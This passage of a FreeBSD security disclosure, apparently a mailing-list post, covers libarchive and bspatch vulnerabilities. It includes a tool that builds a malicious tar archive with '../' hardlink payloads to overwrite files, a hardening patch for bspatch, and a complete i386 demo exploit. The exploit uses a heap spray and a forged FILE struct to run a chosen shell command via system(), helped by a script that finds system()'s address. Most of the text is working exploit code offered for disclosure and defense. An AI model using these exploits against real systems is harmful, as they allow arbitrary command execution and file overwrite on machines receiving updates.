/* dummy file type -- AE_SET_HARDLINK has priority anyway */
archive_entry_set_filetype(ae, AE_IFREG);
stat(file, &s);
archive_entry_set_size(ae, s.st_size);
archive_entry_set_uid(ae, 0);
archive_entry_set_gid(ae, 0);
archive_entry_set_perm(ae, 0777);
/*
* libarchive allows _extraction_ of hardlink payloads, as per the
POSIX
* specs for pax, but not without some arm-twisting. We set ctime
to force
* the addition of a pax extended header so that libarchive doesn't
zero
* the size field during _extraction_.
*
* libarchive disallows _creation_ of hardlink payloads for all
supported
* tar formats (pax, ustar, gnutar, v7tar). If we set the hardlink,
* libarchive will zero the size field during _creation_, so we
simply
* create a regular-file entry and patch the archive on disk via
* patch_archive() when done.
*/
archive_entry_set_ctime(ae, 1, 1);
/* archive_entry_set_hardlink(ae, linkname); */
archive_write_header(a, ae);
fd = open(file, O_RDONLY);
while ((len = read(fd, buf, sizeof buf)) > 0)
archive_write_data(a, buf, (size_t)len);
close(fd);
archive_entry_free(ae);
archive_write_close(a);
archive_write_free(a);
patch_archive(archive, linkname);
}
static void
patch_archive(char *archive, char *linkname)
{
/* extended header + extended body + checksum offset */
static const long patch_offset = (512 + 512 + 148);
FILE *fp;
unsigned char *cp;
unsigned long checksum;
fp = fopen(archive, "r+b");
fseek(fp, patch_offset, SEEK_SET);
fscanf(fp, "%lo", &checksum);
/* entry type 0x30 -> 0x31 */
checksum += 1;
cp = (unsigned char *)linkname;
/* linkname char 0x00 -> 0x## */
while (*cp) checksum += *cp++;
fseek(fp, patch_offset, SEEK_SET);
fprintf(fp, "%.6lo%c 1%s", checksum, '\0', linkname);
fclose(fp);
}
int
main(int argc, char *argv[])
{
if (argc != 5) {
fprintf(stderr, "Usage: %s archive file pathname linkname\n",
argv[0]); fprintf(stderr, "\tarchive output malicious archive
here\n"); fprintf(stderr, "\tfile file containing overwrite
data\n"); fprintf(stderr, "\tpathname archive-entry pathname\n");
fprintf(stderr, "\tlinkname archive-entry linkname\n");
fprintf(stderr, "\t [can use ../ in linkname]\n");
return EXIT_FAILURE;
}
make_archive(argv[1], argv[2], argv[3], argv[4]);
return 0;
}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
{Defense}
POSIX requires that hard links point at only extracted items, though
the possibility that a hard link can use a previously extracted symlink
as a target and escape the extraction directory should be borne in mind.
It seems a good idea to excise the data-payload functionality, which is
not a mandatory POSIX feature and which does not seem to be widely
supported anyway. Look for the lines beginning
} else if (r == 0 && a->filesize > 0) {
in create_filesystem_object() in libarchive/archive_write_disk_posix.c.
/=========\
| BSPATCH |
\=========/
{Description}
The bspatch(1) utility is executed before SHA256 verification in both
freebsd-update(8) and portsnap(8).
It contains a memory-corruption vulnerability that allows highly
reliable exploitation across system builds, defeating all
exploit-mitigation features found in FreeBSD.
The demonstration exploit contains copious comments providing a
detailed analysis of the vulnerability.
{Defense}
The patch below hardens bspatch(1). Notes on the patch:
- Additional checks are added, but the original checks remain.
Hence, the patched bspatch(1) is observably at least as secure as
the original.
- Some of the checks may not be practically -- or even at all --
necessary, but this will not always be immediately obvious, so
the checks serve the purpose of self-documented constraints. They
also guard against future changes, aggressive compiler
optimizations, etc.
- Some of the checks could be made earlier, at the cost of clarity.
- It is assumed that empty files are pathological.
- It is assumed that only ctrl[2] is permitted to be negative, not
ctrl[0] and ctrl[1].
- The checks against SSIZE_MAX rather than SIZE_MAX are consistent
with the original code and provide greater clarity, being a fully
signed comparison.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
@@ -27,7 +27,10 @@
#include <sys/cdefs.h>
__FBSDID("$FreeBSD$");
+#include <assert.h>
#include <bzlib.h>
+#include <limits.h>
+#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
@@ -63,8 +66,8 @@
BZFILE * cpfbz2, * dpfbz2, * epfbz2;
int cbz2err, dbz2err, ebz2err;
int fd;
- ssize_t oldsize,newsize;
- ssize_t bzctrllen,bzdatalen;
+ off_t oldsize,newsize;
+ off_t bzctrllen,bzdatalen;
u_char header[32],buf[8];
u_char *old, *new;
off_t oldpos,newpos;
@@ -72,6 +75,8 @@
off_t lenread;
off_t i;
+ assert(OFF_MAX >= INT64_MAX);
+
if(argc!=4) errx(1,"usage: %s oldfile newfile
patchfile\n",argv[0]);
/* Open patch file */
@@ -107,8 +112,10 @@
bzctrllen=offtin(header+8);
bzdatalen=offtin(header+16);
newsize=offtin(header+24);
- if((bzctrllen<0) || (bzdatalen<0) || (newsize<0))
- errx(1,"Corrupt patch\n");
+ if((bzctrllen<0) || (bzctrllen>OFF_MAX-32) ||
+ (bzdatalen<0) || (bzctrllen+32>OFF_MAX-bzdatalen) ||
+ (newsize<=0) || (newsize>SSIZE_MAX))
+ errx(1,"Corrupt patch\n");
/* Close patch file and re-open it via libbzip2 at the right
places */ if (fclose(f))
@@ -136,12 +143,13 @@
errx(1, "BZ2_bzReadOpen, bz2err = %d", ebz2err);
if(((fd=open(argv[1],O_RDONLY|O_BINARY,0))<0) ||
- ((oldsize=lseek(fd,0,SEEK_END))==-1) ||
- ((old=malloc(oldsize+1))==NULL) ||
+ ((oldsize=lseek(fd,0,SEEK_END))<=0) ||
+ (oldsize>SSIZE_MAX) ||
+ ((old=malloc(oldsize))==NULL) ||
(lseek(fd,0,SEEK_SET)!=0) ||
(read(fd,old,oldsize)!=oldsize) ||
(close(fd)==-1)) err(1,"%s",argv[1]);
- if((new=malloc(newsize+1))==NULL) err(1,NULL);
+ if((new=malloc(newsize))==NULL) err(1,NULL);
oldpos=0;newpos=0;
while(newpos<newsize) {
@@ -152,18 +160,23 @@
(cbz2err != BZ_STREAM_END)))
errx(1, "Corrupt patch\n");
ctrl[i]=offtin(buf);
- };
+ }
/* Sanity-check */
- if(newpos+ctrl[0]>newsize)
- errx(1,"Corrupt patch\n");
+ if((ctrl[0]<0) || (ctrl[0]>INT_MAX) ||
+ (newpos>OFF_MAX-ctrl[0]) ||
(newpos+ctrl[0]>newsize))
+ errx(1,"Corrupt patch\n");
- /* Read diff string */
+ /* Read diff string - 4th arg converted to int */
lenread = BZ2_bzRead(&dbz2err, dpfbz2, new + newpos,
ctrl[0]); if ((lenread < ctrl[0]) ||
((dbz2err != BZ_OK) && (dbz2err != BZ_STREAM_END)))
errx(1, "Corrupt patch\n");
+ /* Sanity-check */
+ if(oldpos>OFF_MAX-ctrl[0])
+ errx(1,"Corrupt patch\n");
+
/* Add old data to diff string */
for(i=0;i<ctrl[0];i++)
if((oldpos+i>=0) && (oldpos+i<oldsize))
@@ -174,19 +187,25 @@
oldpos+=ctrl[0];
/* Sanity-check */
- if(newpos+ctrl[1]>newsize)
- errx(1,"Corrupt patch\n");
+ if((ctrl[1]<0) || (ctrl[1]>INT_MAX) ||
+ (newpos>OFF_MAX-ctrl[1]) ||
(newpos+ctrl[1]>newsize))
+ errx(1,"Corrupt patch\n");
- /* Read extra string */
+ /* Read extra string - 4th arg converted to int */
lenread = BZ2_bzRead(&ebz2err, epfbz2, new + newpos,
ctrl[1]); if ((lenread < ctrl[1]) ||
((ebz2err != BZ_OK) && (ebz2err != BZ_STREAM_END)))
errx(1, "Corrupt patch\n");
+ /* Sanity-check */
+ if((ctrl[2]<0) ?
+ (oldpos<OFF_MIN-ctrl[2]) :
(oldpos>OFF_MAX-ctrl[2]))
+ errx(1,"Corrupt patch\n");
+
/* Adjust pointers */
newpos+=ctrl[1];
oldpos+=ctrl[2];
- };
+ }
/* Clean up the bzip2 reads */
BZ2_bzReadClose(&cbz2err, cpfbz2);
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
{Demonstration}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
/*
* bspatch(1) demo exploit (i386 version)
*
* The bspatch(1) utility is executed before SHA256 verification in
both
* freebsd-update(8) and portsnap(8).
*
* FreeBSD countermeasures defeated:
*
* SSP (-all): yes (heap-based)
* DEP: yes (call2libc, single-address
entropy via
* - amd64 native NX ~2GB bzip2-compressed dual
heap spray)
* - i386 via PAE/PAE_TABLES
* RELRO (full): yes (RELRO-protected sections
untouched)
* ASLR: no (ASLR not in stock FreeBSD yet)
*
* $ cc -o bsx bsx.c -lbz2
* $ # the script included below
* $ ./sys.sh
* 0x283A1660
* $ # patch generation takes ~3 mins on modest hardware
* $ ./bsx patch 0x283A1660 "echo boom"
* $ # any file will do
* $ cp /bin/ls .
* $ # heap-spray decompression takes ~10 secs
* $ bspatch ls new patch
* boom
* bspatch: Corrupt patch
*/
/*
#!/bin/sh
# Grabs the local system() address for argv[2]
LIBCINFO=`ldd -f '%o\t%p\t%x\n' "$(which bspatch)" | grep '^libc'`
LIBCP=`echo "$LIBCINFO" | cut -f2`
LIBCB=`echo "$LIBCINFO" | cut -f3 | sed 's/^0x//'`
LIBCS=`nm -PD "$LIBCP" | grep '^system ' | cut -f3 -d' ' | tr 'a-f'
'A-F'`
echo 'obase=16; ibase=16; '"$LIBCB"' + '"$LIBCS" | bc | sed 's/^/0x/'
*/
#include <sys/types.h>
#include <assert.h>
#include <bzlib.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
unsigned char *buf;
size_t len;
} BadPatch_Block;
typedef struct {
const char *cmd;
uint32_t system_addr;
unsigned char header[32];
BadPatch_Block cblock;
BadPatch_Block dblock;
BadPatch_Block eblock;
} BadPatch;
static void u32_buf(uint32_t u32, unsigned char *buf);
static int64_t i64_clr_bit(int64_t i64, int bit);
static void i64_sgnmag_buf(int64_t i64, unsigned char *sgnmag_buf);
static int badpatch_gen_header(BadPatch *bp);
static int badpatch_gen_cblock(BadPatch *bp);
static int badpatch_gen_dblock(BadPatch *bp);
static int badpatch_gen_eblock(BadPatch *bp);
BadPatch *badpatch_create(uint32_t system_addr, const char *cmd);
void badpatch_serialize(BadPatch *bp, int fd);
void badpatch_destroy(BadPatch *bp);
static void
u32_buf(uint32_t u32, unsigned char *buf)
{
int i;
for (i = 0; i < 4; i++) {
buf[i] = u32 & 0xff;
u32 >>= 8;
}
}
static int64_t
i64_clr_bit(int64_t i64, int bit)
{
assert(1 <= bit && bit <= 64);
return i64 & ~((bit == 64) ? INT64_MIN : ((int64_t)1 << (bit - 1)));
}
/* Patches use sign-magnitude representation. */
static void
i64_sgnmag_buf(int64_t i64, unsigned char *sgnmag_buf)
{
int i, sgn;
assert(i64 != INT64_MIN);
if ((sgn = i64 < 0)) i64 = -i64;
for (i = 0; i < 8; i++) {
sgnmag_buf[i] = i64 & 0xff;
i64 >>= 8;
}
if (sgn) sgnmag_buf[7] |= 0x80;
}
static int
badpatch_gen_header(BadPatch *bp)
{
memcpy(bp->header, "BSDIFF40", 8);
i64_sgnmag_buf(bp->cblock.len, bp->header + 8);
i64_sgnmag_buf(bp->dblock.len, bp->header + 16);
/*
* We claim the new-file size is 0x7fffffff bytes so that we can
spray
* 0x7fffffff - 1 = 0x7ffffffe bytes of data and not have the main
loop
* terminate prematurely. The additional byte will be used for a
d-block
* junk write, and bspatch(1)'s own additional byte will remain
unused. */
i64_sgnmag_buf(0x7fffffff, bp->header + 24);
return 0;
}
static int
badpatch_gen_cblock(BadPatch *bp)
{
/*
* The heap profile (ignoring the base chunk) consists entirely of
unfreed
* large-class allocations, all page contiguous:
*
* |hhh|sb1|bz1|ds1|sb2|bz2|ds2|sb3|bz3|ds3|ooo|tv1|tv2|tv3|NNN|
*
* hhh 3 pages contains arena_chunk_t header
* sb1 4 pages patch c-block: 16,384-byte stdio buffer
* bz1 2 pages patch c-block: bzFile struct
* ds1 16 pages patch c-block: DState struct
* sb2 4 pages patch d-block: 16,384-byte stdio buffer
* bz2 2 pages patch d-block: bzFile struct
* ds2 16 pages patch d-block: DState struct
* sb3 4 pages patch e-block: 16,384-byte stdio buffer
* bz3 2 pages patch e-block: bzFile struct
* ds3 16 pages patch e-block: DState struct
* tv1 98 pages patch c-block: BWT T-vector and block data
* tv2 98 pages patch d-block: BWT T-vector and block data
* tv3 98 pages patch e-block: BWT T-vector and block data
* ooo ? pages old-file buffer we don't necessarily
control;
* plenty of room for it in the current chunk
in the
* vast majority of cases
* NNN ? pages new-file buffer we control; can be
positioned
* behind tv2 and tv3 by using 900k*4
compression
* to bump up the tv[1-3] page count, but this
buys
* little
*
* There's no way to force jemalloc to position our new-file buffer
* _behind_ the useful heap data, so we manipulate 'newpos' within
* bspatch(1) to get to that data. Execution hijack is then via a
poisoned
* FILE handle internal to the c-block bzFile struct (bz1) at
struct
* offset 0.
*
* NNN will be ~2GB (RLIMIT_AS/RLIMIT_VMEM is unlimited by
default). The
* first purpose of this huge-class allocation is to force a new
4MB
* chunk, which, given the highly deterministic behavior of calls
to
* mmap(NULL, ...) -- and the fixed sizes of the stdio buffers and
of the
* arena_chunk_t header in the previous chunk -- allows us to
calculate a
* reliable value that's independent of the size of the old-file
buffer and
* other heap noise: We just subtract 7 pages (hhh + sb1 = 7 pages)
from
* 4MB to get the value (NNN - bz1), which negated becomes our
delta value.
* This delta value will end up in the bspatch(1) 'newpos' variable
after
* some arithmetic acrobatics.
*/
static const int64_t delta = -(0x400000 - 0x7000);
static unsigned char tuples[48];
unsigned len;
len = 1024;
if (!(bp->cblock.buf = malloc(len))) {
perror("badpatch_gen_cblock()");
return 1;
}
/*
* Here's the vulnerable code in bspatch.c (comments removed):
*
* oldpos=0;newpos=0;
* while(newpos<newsize) {
* for(i=0;i<=2;i++) {
* lenread = BZ2_bzRead(&cbz2err, cpfbz2, buf, 8);
* if ((lenread < 8) || ((cbz2err != BZ_OK) &&
* (cbz2err != BZ_STREAM_END)))
* errx(1, "Corrupt patch\n");
* ctrl[i]=offtin(buf);
* };
*
* if(newpos+ctrl[0]>newsize)
* errx(1,"Corrupt patch\n");
*
* lenread = BZ2_bzRead(&dbz2err, dpfbz2, new + newpos,
ctrl[0]);
* if ((lenread < ctrl[0]) ||
* ((dbz2err != BZ_OK) && (dbz2err != BZ_STREAM_END)))
* errx(1, "Corrupt patch\n");
*
* for(i=0;i<ctrl[0];i++)
* if((oldpos+i>=0) && (oldpos+i<oldsize))
* new[newpos+i]+=old[oldpos+i];
*
* newpos+=ctrl[0];
* oldpos+=ctrl[0];
*
* if(newpos+ctrl[1]>newsize)
* errx(1,"Corrupt patch\n");
*
* lenread = BZ2_bzRead(&ebz2err, epfbz2, new + newpos,
ctrl[1]);
* if ((lenread < ctrl[1]) ||
* ((ebz2err != BZ_OK) && (ebz2err != BZ_STREAM_END)))
* errx(1, "Corrupt patch\n");
*
* newpos+=ctrl[1];
* oldpos+=ctrl[2];
* };
*
* We control the 64-bit off_t values in ctrl[] and want 'newpos'
to
* contain our delta value (a negative value), but there are some
problems. *
* The first problem is that placing our delta in ctrl[0] (or
ctrl[1])
* will easily bypass bspatch(1)'s own sanity checks but not those
of
* BZ2_bzRead(), which checks for negative values, resulting in an
* immediate return to the caller, then termination. Note, however,
that
* this bz2 function expects an int, so these off_t values get
truncated to
* a 32-bit int on both i386 and amd64. As long as the off_t values
are
* sign-bit clean for an int, we can use any off_t values we like.
To get
* our desired delta value, we use the following equation based
* on off_t values:
*
* delta (32nd bit set) = delta (32nd bit clear) + 0x7ffffffe
+ 2 *
* The second problem is that if our off_t values are positive
(such as
* 0x7ffffffe), we actually have to deliver that much data to
satisfy the
* 'lenread' check (the bzip2 compression helps), which is the
second
* purpose of the ~2GB allocation. If, however, the off_t values
are
* negative, that check is easily satisfied, and we can simply
ensure a
* BZ_OK or BZ_STREAM_END return to avoid termination, a fact we
exploit to
* avoid having to deliver int-truncated "delta (32nd bit clear)"
bytes of
* data into the now-cramped address space on i386.
*
* Here's the sequence of c-block tuples and events:
*
* 1st loop iteration: (0, 0x7ffffffe, 0)
*
* ctrl[0] == 0
* effectively a no-op
* using ctrl[1] avoids the slow, somewhat destructive
for-loop
* ctrl[1] == 0x7ffffffe
* sanity check OK: 0 + 0x7ffffffe < 0x7fffffff
* sign-bit clean for int, satisfying BZ2_bzRead() check
* heap-sprays 0x7ffffffe bytes of data from e-block
* 'lenread' check OK: 0x7ffffffe == 0x7ffffffe
* bumps 'newpos' from 0 to 0x7ffffffe
* ctrl[2] == 0
* another no-op
*
* 2nd loop iteration: (delta_sign_bit_clear + 2, 5020, 0)
*
* ctrl[0] == delta_sign_bit_clear + 2 (negative value)
* sanity check OK: 0x7ffffffe + (negative value) <
0x7fffffff
* sign-bit clean for int, satisfying BZ2_bzRead() check
* reads a junk byte from d-block, returning BZ_STREAM_END
* 'lenread' check OK: 1 > (negative value)
* BZ_STREAM_END avoids termination (but kills bz2 stream,
which
* is why we can't repeatedly use this trick)
* for-loop avoided: 0 > (negative value)
* drops 'newpos' from 0x7ffffffe to the desired delta
value, per
* the equation given earlier
* ctrl[1] == 5020
* sanity check OK: (negative value) + 5020 < 0x7fffffff
* reads in 5020 bytes of data from e-block
* corrupts c-block management data beginning at new[delta]
* 'lenread' check OK: 5020 == 5020
* bumps 'newpos' up 5020 (insignificant)
* ctrl[2] == 0
* another no-op
*
* 3rd loop iteration:
*
* tries to read more data from c-block via BZ2_bzRead()
* hijack chain triggered because of corrupted management
data */
i64_sgnmag_buf(0x7ffffffe, tuples + 8);
i64_sgnmag_buf(i64_clr_bit(delta, 32) + 2, tuples + 24);
i64_sgnmag_buf(5020, tuples + 32);
if (BZ2_bzBuffToBuffCompress((char *)bp->cblock.buf, &len, (char
*)tuples, sizeof tuples, 1, 0, 0) != BZ_OK) {
fputs("badpatch_gen_cblock(): compression failure\n", stderr);
return 1;
}
bp->cblock.len = len;
return 0;
}
static int
badpatch_gen_dblock(BadPatch *bp)
{
static unsigned char junk[1];
unsigned len;
len = 1024;
if (!(bp->dblock.buf = malloc(len))) {
perror("badpatch_gen_dblock()");
return 1;
}
if (BZ2_bzBuffToBuffCompress((char *)bp->dblock.buf, &len, (char
*)junk, sizeof junk, 1, 0, 0) != BZ_OK) {
fputs("badpatch_gen_dblock(): compression failure\n", stderr);
return 1;
}
bp->dblock.len = len;
return 0;
}
static int
badpatch_gen_eblock(BadPatch *bp)
{
/*
* The third purpose of the ~2GB allocation is a dual heap spray
that
* effectively reduces exploitation entropy to a single system()
address,
* which should be consistent across builds.
*
* The low-spray pattern is a fake FILE struct allowing a hijack to
occur
* within libc's _sread():
*
* |----- libbz2 -----|------------------ libc -----------------|
* BZ2_bzRead->myfeof->fgetc->__sgetc->__srget->__srefill->_sread
*
* (*fp->_read)(fp->_cookie, buf, n);
*
* The use of _cookie allows easy argument passing to system()
straight
* from the heap, without the need for ROP gadgets.
*
* Important FILE fields:
*
* _r 0 is good enough; __sgetc() macro will call __srget():
* __sgetc(p) (--(p)->_r < 0 ? __srget(p) :
(int)(*(p)->_p++))
* This is also why a 16-byte pattern won't work -- we
don't want
* the _read field, with its positive system() address,
to be
* overloaded as the _r field.
*
* _flags 0x0010 satisfies ferror() and ensures smooth sailing
in
* __srefill(); __SRW set; __SERR, __SEOF, __SRD, __SWR,
__SLBF,
* __SNBF unset.
*
* _bf._base 0x1 ensures more smooth sailing in __srefill().
*
* _cookie 0x88888888 is the high-spray address, passed to
system(). *
* _read 0x41414141 is the placeholder for the system() address.
*
* This may seem hairy, as if there are 63/64 ways for things to go
wrong,
* but the desired entry point is a virtual certainty, for reasons
* explained below.
*
* (The alternative hijack via 'bzfree' and 'opaque' in bz_stream
requires
* too much heap management -- minimally, restoring a BWT T-vector
and a
* pointer, thus increasing exploitation entropy to two absolute
addresses
* instead of one.)
*/
static const unsigned long lo_spray_system_addr_off = 40;
static unsigned char lo_spray[64] =
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x10\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x88\x88\x88\x88\x00\x00\x00\x00\x41\x41\x41\x41\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
static unsigned char hi_spray[100000];
static unsigned char bzFile_poison[5020];
unsigned char *full_payload;
unsigned long i;
unsigned len;
u32_buf(bp->system_addr, lo_spray + lo_spray_system_addr_off);
/*
* The high-spray pattern is the sh -c command string. We drop it
on top of
* 100k spaces with NUL termination to stay well clear of
ARG_MAX/E2BIG.
* Then we repeat the pattern for around 1GB. We'd have to be
extremely
* unlucky not to hit a space at 0x88888888.
*/
memset(hi_spray, ' ', sizeof hi_spray);
strcpy((char *)hi_spray + sizeof hi_spray - strlen(bp->cmd) - 1,
bp->cmd);
/*
* We'll poison bzFile's internal FILE handle with the low-spray
address
* 0x44444444, which seems arbitrary but is tactically sound:
jemalloc
* chunks are 4MB-aligned, which means their starting addresses are
* congruent modulo 64 to the address 0x44444440 -- i.e., our
64-byte
* low-spray pattern should begin anew there, given that huge-class
* allocations lack arena overhead and begin at chunk boundaries.
* 0x44444444 is obviously more aesthetically pleasing than
0x44444440, so
* we offset our FILE struct 4 bytes into the 64-byte pattern.
*
* The remainder of the poisoning buffer consists of NULs. This is
because
* we want bzf->strm.avail_in to be 0 so that BZ2_bzRead() kicks
off the
* execution chain given earlier, beginning at myfeof():
*
* if (bzf->strm.avail_in == 0 && !myfeof(bzf->handle))
*
*/
memcpy(bzFile_poison, "\x44\x44\x44\x44", 4);
/* Ugh, libbz2 interface. Ignore compiler, POSIX has sane UINT_MAX.
*/ len = 10000000;
if (!(bp->eblock.buf = malloc(len))) {
perror("badpatch_gen_eblock()");
return 1;
}
if (!(full_payload = malloc(0x7ffffffeUL + sizeof bzFile_poison))) {
perror("badpatch_gen_eblock()");
return 1;
}
memset(full_payload, 0, 0x7ffffffeUL + sizeof bzFile_poison);
for (i = 0; i <= 0x40000000 - sizeof lo_spray; i += sizeof lo_spray)
memcpy(full_payload + i, lo_spray, sizeof lo_spray);
for (; i <= 0x7ffffffe - sizeof hi_spray; i += sizeof hi_spray)
memcpy(full_payload + i, hi_spray, sizeof hi_spray);
memcpy(full_payload + 0x7ffffffe, bzFile_poison, sizeof
bzFile_poison);
if (BZ2_bzBuffToBuffCompress((char *)bp->eblock.buf, &len,
(char *)full_payload, 0x7ffffffeUL + sizeof bzFile_poison,
1, 0, 0) != BZ_OK) {
fputs("badpatch_gen_eblock(): compression failure\n", stderr);
free(full_payload);
return 1;
}
bp->eblock.len = len;
free(full_payload);
return 0;
}
BadPatch *
badpatch_create(uint32_t system_addr, const char *cmd)
{
BadPatch *bp;
if (!(bp = malloc(sizeof *bp))) {
perror("badpatch_create()");
return NULL;
}
bp->system_addr = system_addr;
bp->cmd = cmd;
bp->cblock.buf = NULL;
bp->dblock.buf = NULL;
bp->eblock.buf = NULL;
if (badpatch_gen_cblock(bp) || badpatch_gen_dblock(bp) ||
badpatch_gen_eblock(bp) || badpatch_gen_header(bp)) {
badpatch_destroy(bp);
return NULL;
}
return bp;
}
void
badpatch_serialize(BadPatch *bp, int fd)
{
write(fd, bp->header, sizeof bp->header);
write(fd, bp->cblock.buf, bp->cblock.len);
write(fd, bp->dblock.buf, bp->dblock.len);
write(fd, bp->eblock.buf, bp->eblock.len);
}
void
badpatch_destroy(BadPatch *bp)
{
if (bp) {
if (bp->cblock.buf) free(bp->cblock.buf);
if (bp->dblock.buf) free(bp->dblock.buf);
if (bp->eblock.buf) free(bp->eblock.buf);
free(bp);
}
}
int
main(int argc, char *argv[])
{
int fd;
const char *filename, *cmd;
uint32_t system_addr;
BadPatch *bp;
if (argc < 2) {
fprintf(stderr, "Usage: %s filename [system_addr] [cmd]\n",
argv[0]); fprintf(stderr, "\tfilename output malicious patch
file here\n"); fprintf(stderr, "\tsystem_addr system() address for
target build\n"); fprintf(stderr, "\t [default:
0x41414141 crash demo]\n"); fprintf(stderr, "\tcmd sh -c
command string\n"); fprintf(stderr, "\t [default:
date(1)]\n"); return EXIT_FAILURE;
}
filename = argv[1];
system_addr = (argc > 2) ? strtoul(argv[2], NULL, 16) : 0x41414141;
cmd = (argc > 3) ? argv[3] : "date";
if ((fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0640)) ==
-1) { perror("open()");
return EXIT_FAILURE;
}
if (!(bp = badpatch_create(system_addr, cmd))) {
fputs("patch creation failed\n", stderr);
close(fd);
return EXIT_FAILURE;
}
badpatch_serialize(bp, fd);
badpatch_destroy(bp);
close(fd);
return 0;
}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
--
Hanno Böck
https://hboeck.de/
mail/jabber: hanno@...eck.de
GPG: BBB51E42
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